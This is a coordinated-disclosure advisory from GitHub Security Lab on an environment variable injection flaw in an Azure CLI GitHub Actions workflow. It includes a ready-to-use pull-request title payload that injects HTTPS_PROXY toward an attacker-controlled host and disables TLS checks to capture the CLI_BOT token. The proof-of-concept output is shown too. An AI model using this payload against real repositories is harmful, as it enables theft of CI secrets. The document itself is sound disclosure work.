Coordinated Disclosure Timeline
- 2024-10-23: Reported through MSRC.
- 2024-11-27: MSRC issue closed as resolved.
Summary
Azure/azure-cli is vulnerable to Environment Variable Injection which may allow a malicious actor to exfiltrate the CLI_BOT
secret.
Project
Azure-cli
Tested Version
Latest commit at the time of reporting
Details
Environment Variable Injection in AddPRComment.yml
(GHSL-2024-294
)
The AddPRComment.yml
workflow is vulnerable to Environment Variable Injection.
The workflow can be triggered by an external user bypassing any required approvals because of the privileged pull_request_trigger
event (see docs).
on:
pull_request_target:
types: [opened]
branches:
- dev
- release
The workflow reads the Pull Request’s title into the TITLE
environment variable and extracts the text between brackets/braces into an environment variable. Because grep
will output a new line per match, an attacker can craft a PR title that will end up generating a multi-line message
variable, enabling him to inject new environment variables.
permissions:
pull-requests: write
jobs:
thank-user:
runs-on: ubuntu-20.04
name: Say thanks for the PR
steps:
- name: get message
env:
TITLE: ${{ github.event.pull_request.title }}
run: |
message=$(echo "$TITLE" | grep -oP '[{\[][^}\]]+[}\]]' | sed 's/{\|}\|\[\|\]//g')
echo "message=$message" >> $GITHUB_ENV
if [ -z $message ]; then
echo "message=$(echo 'Thank you for your contribution! We will review the pull request and get back to you soon.')" >> $GITHUB_ENV
fi
An attacker can submit a Pull Request with a title like [foo][ENV1=VALUE1][ENV2=VALUE2]
to trigger the workflow.
The mentioned title will generate the following value for the message
variable:
foo
ENV1=VALUE1
ENV2=VALUE2
Since the message
variable will be tested with the POSIX test
command, we will need to add a binary operator flag to handle the injected lines. We can do that by passing -a
([foo -a][ENV1=VALUE1][ENV2=VALUE2]
) which will behave as a logic AND. As a result, two new environment variables will get defined in the GitHub runner.
ENV1=VALUE1
ENV2=VALUE2
Since the only step after the injection is a composite action that runs on node:
- name: comment on the pull request
uses: mshick/add-pr-comment@v2
with:
repo-token: ${{ secrets.CLI_BOT }}
message: "${{ env.message }}"
The attack vector to gain arbitrary code execution could be to use NODE_OPTIONS
, however GitHub does not allow to define this variable in order not to interfere with its running environment. Since the GITHUB_TOKEN
has only pull-requests: write
permissions, the attacker would be more interested in leaking the secrets.CLI_BOT
token which may be more privileged and even have Azure org access. In order to do so, the attacker can inject a combination of HTTPS_PROXY=http://attacker
(to proxy the calls performed by the mshick/add-pr-comment
through a malicious SSL intercepting proxy and NODE_TLS_REJECT_UNAUTHORIZED=0
to force node.js to accept invalid TLS certificates.
Steps To Reproduce
By submitting the following PR title an attacker would be able to steal the repo-token
stored in CLI_BOT
since it will get attached to any HTTP requests sent through the malicious proxy.
[a -a][NODE_TLS_REJECT_UNAUTHORIZED=0][HTTPS_PROXY=https://non-existent-foo-goo.com]
As a proof of concept, I have opened a test PR with the above title. Since Im using a non-existent domain, no credentials will get leaked, but the error in the request will prove that the environment variables (NODE_TLS_REJECT_UNAUTHORIZED
and HTTPS_PROXY
) were injected and that the CLI_BOT
could have been exfiltrated to the attacker-controlled proxy.
Looking at the Workflow run we can see the following error:
(node:1763) Warning: Setting the NODE_TLS_REJECT_UNAUTHORIZED environment variable to '0' makes TLS connections and HTTPS requests insecure by disabling certificate verification.
(Use `node --trace-warnings ...` to show where the warning was created)
Error: request to https://api.github.com/repos/Azure/azure-cli/issues/30037/comments?per_page=100 failed, reason: tunneling socket could not be established, cause=getaddrinfo ENOTFOUND non-existent-foo-goo.com
Impact
The impact depends on the permissions of the CLI_BOT token which may have organization access and be used to escalate to other workflows/repos or steal org-level defined secrets of the Azure org.
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-294
in any communication regarding this issue.